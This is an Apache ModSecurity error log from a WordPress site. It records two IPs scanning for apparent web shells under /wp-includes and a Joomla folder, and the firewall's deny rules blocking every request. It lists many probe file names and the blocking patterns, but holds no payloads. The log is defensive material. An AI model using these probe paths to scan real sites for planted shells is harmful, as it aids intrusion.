[Wed Nov 26 18:20:20.681057 2025] [:error] [pid 6471:tid 6479] [client 84.17.35.112:41208] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/db.php"] [unique_id "aSbUZOh3Z9TZLlRuTiN9ZAAAAIU"]
[Wed Nov 26 18:20:21.093132 2025] [:error] [pid 20733:tid 20750] [client 84.17.35.112:39914] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/security.php"] [unique_id "aSbUZQV9EP2HuRvnH8dKKAAAAM8"]
[Wed Nov 26 18:20:21.929260 2025] [:error] [pid 45685:tid 45748] [client 84.17.35.112:39928] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-language-pack.php"] [unique_id "aSbUZVj3f_NRdgU0DQ7K2QAAAQY"]
[Wed Nov 26 18:20:22.550403 2025] [:error] [pid 46443:tid 46465] [client 84.17.35.112:39944] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-walker-comment-client.php"] [unique_id "aSbUZsLmDsnHrj-QFB_NPwAAAFQ"]
[Wed Nov 26 18:20:24.021379 2025] [:error] [pid 20733:tid 20742] [client 84.17.35.112:39948] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-network-query-stat.php"] [unique_id "aSbUaAV9EP2HuRvnH8dKLwAAAMc"]
[Wed Nov 26 18:20:24.856056 2025] [:error] [pid 45684:tid 45722] [client 84.17.35.112:39964] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-session-tokens-https.php"] [unique_id "aSbUaPg5LMxwI4-PD1cwSwAAAAc"]
[Wed Nov 26 18:20:25.688953 2025] [:error] [pid 45683:tid 45690] [client 84.17.35.112:39974] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/crystal/lrs_dage.php"] [unique_id "aSbUaRX1gQgNFW_222qdywAAAUI"]
[Wed Nov 26 18:20:26.313015 2025] [:error] [pid 46443:tid 46448] [client 84.17.35.112:39988] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/as.php"] [unique_id "aSbUasLmDsnHrj-QFB_NRAAAAEM"]
[Wed Nov 26 18:20:26.936009 2025] [:error] [pid 46443:tid 46463] [client 84.17.35.112:39996] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/wp-conflg.php"] [unique_id "aSbUasLmDsnHrj-QFB_NRwAAAFI"]
[Wed Nov 26 18:20:27.350896 2025] [:error] [pid 45684:tid 45719] [client 84.17.35.112:40004] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/install.php"] [unique_id "aSbUa_g5LMxwI4-PD1cwTAAAAAQ"]
[Wed Nov 26 18:20:27.762783 2025] [:error] [pid 45684:tid 45727] [client 84.17.35.112:40020] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/db.php"] [unique_id "aSbUa_g5LMxwI4-PD1cwTQAAAAw"]
[Wed Nov 26 18:20:29.426173 2025] [:error] [pid 46443:tid 46468] [client 194.54.144.73:40022] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/thickbox/about.php"] [unique_id "aSbUbcLmDsnHrj-QFB_NTgAAAFc"]
[Wed Nov 26 18:20:30.460257 2025] [:error] [pid 46443:tid 46455] [client 194.54.144.73:40036] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rk2.php"] [unique_id "aSbUbsLmDsnHrj-QFB_NUwAAAEo"]
[Wed Nov 26 18:20:31.496271 2025] [:error] [pid 45769:tid 45777] [client 194.54.144.73:40044] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/past.php"] [unique_id "aSbUb1dG5Eht9c3yy4MWagAAAcU"]
[Wed Nov 26 18:20:33.696228 2025] [:error] [pid 45769:tid 45792] [client 194.54.144.73:54744] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/edit-tags.php"] [unique_id "aSbUcVdG5Eht9c3yy4MWcgAAAdQ"]
[Wed Nov 26 18:20:35.357143 2025] [:error] [pid 45684:tid 45715] [client 194.54.144.73:54766] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/footer-default.php"] [unique_id "aSbUc_g5LMxwI4-PD1cwVAAAAAA"]
[Wed Nov 26 18:20:35.976838 2025] [:error] [pid 45684:tid 45738] [client 194.54.144.73:54776] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-widget-meta-request.php"] [unique_id "aSbUc_g5LMxwI4-PD1cwWAAAABc"]
[Wed Nov 26 18:20:36.594318 2025] [:error] [pid 46443:tid 46449] [client 194.54.144.73:54790] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/bypass.php"] [unique_id "aSbUdMLmDsnHrj-QFB_NbwAAAEQ"]
[Wed Nov 26 18:20:37.424316 2025] [:error] [pid 45769:tid 45775] [client 194.54.144.73:54800] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/wp-login.php"] [unique_id "aSbUdVdG5Eht9c3yy4MWfQAAAcM"]
[Wed Nov 26 18:20:39.505465 2025] [:error] [pid 46443:tid 46464] [client 194.54.144.73:54814] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-ss.php"] [unique_id "aSbUd8LmDsnHrj-QFB_NeAAAAFM"]
[Wed Nov 26 18:20:39.914814 2025] [:error] [pid 20733:tid 20748] [client 194.54.144.73:54830] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/xsec1.php"] [unique_id "aSbUdwV9EP2HuRvnH8dKMQAAAM0"]
[Wed Nov 26 18:20:40.959701 2025] [:error] [pid 45683:tid 45689] [client 194.54.144.73:54832] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/crystal/sad.php"] [unique_id "aSbUeBX1gQgNFW_222qd2gAAAUE"]
[Wed Nov 26 18:20:42.801229 2025] [:error] [pid 20733:tid 20736] [client 194.54.144.73:56292] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-loader-packages.min.php"] [unique_id "aSbUegV9EP2HuRvnH8dKMwAAAME"]
[Wed Nov 26 18:20:43.626978 2025] [:error] [pid 46443:tid 46449] [client 194.54.144.73:56308] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-phpmailer-beta.php"] [unique_id "aSbUe8LmDsnHrj-QFB_NewAAAEQ"]
[Wed Nov 26 18:20:44.035834 2025] [:error] [pid 45769:tid 45788] [client 194.54.144.73:56312] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ms-file.php"] [unique_id "aSbUfFdG5Eht9c3yy4MWfwAAAdA"]
[Wed Nov 26 18:20:44.444260 2025] [:error] [pid 6471:tid 6493] [client 194.54.144.73:56320] [client 194.54.144.73] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.54.144.73, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aSbUfOh3Z9TZLlRuTiN9kgAAAJM"]
[Wed Nov 26 18:20:44.451282 2025] [proxy_fcgi:error] [pid 6471:tid 6493] [client 194.54.144.73:56320] AH01071: Got error 'Primary script unknown'
[Wed Nov 26 18:20:44.657284 2025] [:error] [pid 6471:tid 6476] [client 194.54.144.73:56320] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/av.php"] [unique_id "aSbUfOh3Z9TZLlRuTiN9kwAAAII"]
[Wed Nov 26 18:20:45.691756 2025] [:error] [pid 6471:tid 6489] [client 194.54.144.73:56328] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "aSbUfeh3Z9TZLlRuTiN9lwAAAI8"]
[Wed Nov 26 18:20:46.100122 2025] [:error] [pid 45684:tid 45732] [client 194.54.144.73:56344] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/network.php"] [unique_id "aSbUfvg5LMxwI4-PD1cwYQAAABE"]
[Wed Nov 26 18:20:47.969783 2025] [:error] [pid 45684:tid 45727] [client 194.54.144.73:56360] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/XML/content.php"] [unique_id "aSbUf_g5LMxwI4-PD1cwaQAAAAw"]
[Wed Nov 26 18:20:48.378922 2025] [:error] [pid 46443:tid 46469] [client 194.54.144.73:56376] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/item.php"] [unique_id "aSbUgMLmDsnHrj-QFB_NfQAAAFg"]
[Wed Nov 26 18:20:49.207249 2025] [:error] [pid 20733:tid 20750] [client 194.54.144.73:56378] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/plugins.php"] [unique_id "aSbUgQV9EP2HuRvnH8dKOAAAAM8"]
[Wed Nov 26 18:20:49.616667 2025] [:error] [pid 46443:tid 46457] [client 194.54.144.73:56380] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/install.php"] [unique_id "aSbUgcLmDsnHrj-QFB_NfwAAAEw"]
[Wed Nov 26 18:20:50.030710 2025] [proxy_fcgi:error] [pid 45769:tid 45777] [client 194.54.144.73:56394] AH01071: Got error 'Primary script unknown'
[Wed Nov 26 18:20:50.235067 2025] [:error] [pid 45769:tid 45773] [client 194.54.144.73:56394] [client 194.54.144.73] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.54.144.73, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/wp-login.php"] [unique_id "aSbUgldG5Eht9c3yy4MWhAAAAcE"]
[Wed Nov 26 18:20:50.655662 2025] [:error] [pid 45769:tid 45779] [client 194.54.144.73:56394] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-nav-widgets.php"] [unique_id "aSbUgldG5Eht9c3yy4MWhgAAAcc"]
[Wed Nov 26 18:20:53.328413 2025] [:error] [pid 45685:tid 45753] [client 194.54.144.73:38200] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/providers/doc.php"] [unique_id "aSbUhVj3f_NRdgU0DQ7LFgAAAQs"]
[Wed Nov 26 18:20:53.946422 2025] [:error] [pid 45685:tid 45761] [client 194.54.144.73:38210] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/1.php"] [unique_id "aSbUhVj3f_NRdgU0DQ7LHQAAARM"]
[Wed Nov 26 18:20:54.356857 2025] [:error] [pid 45684:tid 45723] [client 194.54.144.73:38212] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/class_api.php"] [unique_id "aSbUhvg5LMxwI4-PD1cwcAAAAAg"]
[Wed Nov 26 18:20:55.399018 2025] [:error] [pid 45684:tid 45716] [client 194.54.144.73:38214] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/admin.php"] [unique_id "aSbUh_g5LMxwI4-PD1cwdQAAAAE"]
[Wed Nov 26 18:20:56.227002 2025] [:error] [pid 6471:tid 6480] [client 194.54.144.73:38222] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/about.php"] [unique_id "aSbUiOh3Z9TZLlRuTiN9qQAAAIY"]
[Wed Nov 26 18:20:57.472144 2025] [:error] [pid 20733:tid 20759] [client 194.54.144.73:38224] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-customize-manager-interpreter.php"] [unique_id "aSbUiQV9EP2HuRvnH8dKPgAAANg"]
[Wed Nov 26 18:20:57.882967 2025] [:error] [pid 45684:tid 45722] [client 194.54.144.73:38228] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/bypass.php"] [unique_id "aSbUifg5LMxwI4-PD1cwdgAAAAc"]
[Wed Nov 26 18:20:58.502603 2025] [:error] [pid 45685:tid 45758] [client 194.54.144.73:38232] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/count.php"] [unique_id "aSbUilj3f_NRdgU0DQ7LKAAAARA"]
[Wed Nov 26 18:21:00.166100 2025] [:error] [pid 6471:tid 6476] [client 194.54.144.73:38246] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/chosen.php"] [unique_id "aSbUjOh3Z9TZLlRuTiN9sgAAAII"]
[Wed Nov 26 18:21:00.998434 2025] [:error] [pid 46443:tid 46469] [client 194.54.144.73:38262] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 2). String match ".php" at REQUEST_FILENAME. [file "/usr/local/apache/modsecurity-cwaf/rules/24_Apps_Joomla.conf"] [line "74"] [id "240000"] [rev "1"] [msg "COMODO WAF: Protecting Joomla folder||measureyourbrand.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Joomla"] [hostname "measureyourbrand.com.au"] [uri "/images/stories/themes.php"] [unique_id "aSbUjMLmDsnHrj-QFB_NigAAAFg"]
[Wed Nov 26 18:21:01.204172 2025] [:error] [pid 46443:tid 46465] [client 194.54.144.73:38262] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/footer-embed-function.php"] [unique_id "aSbUjcLmDsnHrj-QFB_NiwAAAFQ"]
[Wed Nov 26 18:21:02.035680 2025] [:error] [pid 6471:tid 6477] [client 194.54.144.73:47200] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/class-wp-translation-file-mo-event.php"] [unique_id "aSbUjuh3Z9TZLlRuTiN9vgAAAIM"]
[Wed Nov 26 18:21:02.453763 2025] [:error] [pid 20733:tid 20756] [client 194.54.144.73:47208] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/vars-soap.php"] [unique_id "aSbUjgV9EP2HuRvnH8dKQQAAANU"]
[Wed Nov 26 18:21:04.133257 2025] [:error] [pid 20733:tid 20752] [client 194.54.144.73:47218] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/id3/wp-work.php"] [unique_id "aSbUkAV9EP2HuRvnH8dKTAAAANE"]
[Wed Nov 26 18:21:04.959277 2025] [:error] [pid 45684:tid 45722] [client 194.54.144.73:47224] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-taxonomy.editor.php"] [unique_id "aSbUkPg5LMxwI4-PD1cwiAAAAAc"]
[Wed Nov 26 18:21:05.579081 2025] [:error] [pid 6471:tid 6493] [client 194.54.144.73:47228] [client 194.54.144.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/wp-conflg.php"] [unique_id "aSbUkeh3Z9TZLlRuTiN98AAAAJM"]
